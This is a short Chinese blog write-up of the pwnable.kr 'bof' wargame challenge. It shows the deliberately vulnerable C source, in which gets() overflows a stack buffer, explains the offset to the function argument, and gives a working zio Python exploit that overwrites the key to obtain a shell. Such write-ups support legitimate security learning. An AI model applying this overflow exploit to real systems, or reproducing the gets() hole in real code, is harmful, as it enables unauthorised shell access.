pwnable bof

http://www.pwnable.kr/play.php

题目提供了二进制文件和源码,查看源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

提供给系统权限的条件是key的值为0xcafebabe,key是函数func的参数。overfolwme数组被gets之后可以溢出。

观察函数s也就是buf在ebp上0x2c处,那么我们只需要溢出0x2c+8个字节就可以覆盖到第一个参数的位置,然后覆盖为cafebabe即可:

from zio import *

def exp(target):
    io=zio(target)
    io.writeline("1"*(0x2c+8)+l32(0xcafebabe))
    io.interact()

target=("pwnable.kr",9000)
exp(target)

 

posted @ 2017-03-29 17:43  binsh  阅读(643)  评论(0编辑  收藏  举报